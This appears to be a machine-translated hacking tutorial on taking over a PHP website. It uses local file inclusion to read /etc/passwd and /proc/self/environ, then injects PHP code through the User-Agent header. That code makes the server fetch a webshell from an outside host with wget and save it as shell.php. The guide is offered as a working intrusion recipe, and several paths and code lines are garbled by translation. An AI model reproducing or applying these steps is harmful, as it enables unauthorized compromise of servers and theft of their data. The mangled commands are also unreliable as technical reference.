How to obtain the webshell of a website by injecting malicious code

1. Search for local vulnerabilities

Find a file that may exist locally and check it.
Example: www.website.com/view.php? Page = contact. php
Replace it with www.website.com/view.php? Page = ../
We get an error
Warning: include (../) [function. include]: failed to open stream: No such file or directory in/home/sirgod/public_html/website.com/view.php on line 1337
The translation error information is as follows:
Warning: including (../) [function. include]: failed to open the stream: No file or directory in/home/sirgod/public_html/website.com/view. php

It indicates that there is a great opportunity, but there is no file.

Then we will check the files on the server, such as/etc/passwd in linux.
Submit url: www.website.com/view.php? Page = ../etc/passwd
Still:
Warning: include (../) [function. include]: failed to open stream: No such file or directory in/home/sirgod/public_html/website.com/view.php on line 1337
So we add the ../test layer by layer until the display ends.
Www.website.com/view.php? Page =.../etc/passwd
At this time, we have successfully included/etc/passwd
Root: x: 0: 0: root:/bin/bash bin: x: 1: 1: bin:/sbin/nologin daemon: x: 2: 2: daemon:/sbin/nologin adm: x: 3: 4: adm:/var/adm:/sbin/nologin lp: x: 4: 7: lp: /var/spool/lpd:/sbin/nologin sync: x: 5: 0: sync:/sbin:/bin/sync shutdown: x: 6: 0: shutdown: /sbin:/sbin/shutdown halt: x: 7: 0: halt:/sbin/halt mail: x: 8: 12: mail: /var/spool/mail:/sbin/nologin news: x: 9: 13: news:/etc/news: uucp: x: 10: 14: uucp: /var/spool/uucp:/sbin/nologin operator: x: 11: 0: operator:/root:/sbin/nologin games: x: 12: 100: games: /usr/games:/sbin/nologin test: x: 13: 30: test:/var/test:/sbin/nologin ftp: x: 14: 50: FTP User: /var/ftp:/sbin/nologin nobody: x: 99: 99: Nobody: // sbin/nologin

2. Check whether proc/self/environ can be accessed

Submit url: www.website.com/view.php? Page =.../proc/self/environ

If the following information is displayed:

DOCUMENT_ROOT =/home/sirgod/public_html GATEWAY_INTERFACE = CGI/1.1 HTTP_ACCEPT = text/html, application/xml; q = 0.9, application/xhtml + xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*; q = 0.1 HTTP_COOKIE = PHPSESSID = 134cc1_1b341231b9594844ac2ad7ac HTTP_HOST = www.website.com HTTP_REFERER = http://www.website.com/index.php? View = .. /.. /.. /.. /.. /.. /etc/passwd HTTP_USER_AGENT = Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH =/bin:/usr/bin QUERY_STRING = view = .. % 2F .. % 2F .. % 2F .. % 2F .. % 2F .. % 2 Fproc % 2 Fself % 2 Fenviron REDIRECT_STATUS = 200 REMOTE_ADDR = 6x. 1xx. 4x. 1xx REMOTE_PORT = 35665 REQUEST_METHOD = GET REQUEST_URI =/index. php? View = .. % 2F .. % 2F .. % 2F .. % 2F .. % 2F .. % 2 Fproc % 2 Fself % 2 Fenviron SCRIPT_FILENAME =/home/sirgod/public_html/index. php SCRIPT_NAME =/index. php SERVER_ADDR = 1xx. 1xx. 1xx. 6x SERVER_ADMIN = webmaster@website.com SERVER_NAME = www.website.com SERVER_PORT = 80 SERVER_PROTOCOL = HTTP/1.0 SERVER_SIGNATURE =
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
It indicates that it can be accessed. If a blank page is returned, it indicates that it cannot be accessed, or the operating system may be FreeBSD.

3. Malicious Code Injection

We can inject our code in the user proxy HTTP header.
Use the tamper data plug-in for Firefox to change Firefox's User-Agent.Start tamper data and request URL:

Www.website.com/view.php? Page =.../proc/self/environ

Select User-Agent to write the following code:

<? System (wget http://hack-bay.com/Shells/gny.txt-O shell. php);?>

Then, submit the request.

Our command will be executed (We will download http://hack-bay.com/shells/gny.txt, and save it as a token in shell.php
Website directory), and our shell will be created. If not, try to use exec (), because the system may be disabled from the php. ini network server.

Step 4: Access our shell
Access the shell you have injected in the directory containing files.

Www.website.com/shell.php

Now our shell is successfully injected.

Do you want to know what's going on? The principle is to exploit the/proc/self/environ directory traversal and remote code execution vulnerability. Haha !! Google searches for "Directory Traversal & Remote Code Execution Using/proc/self/environ ".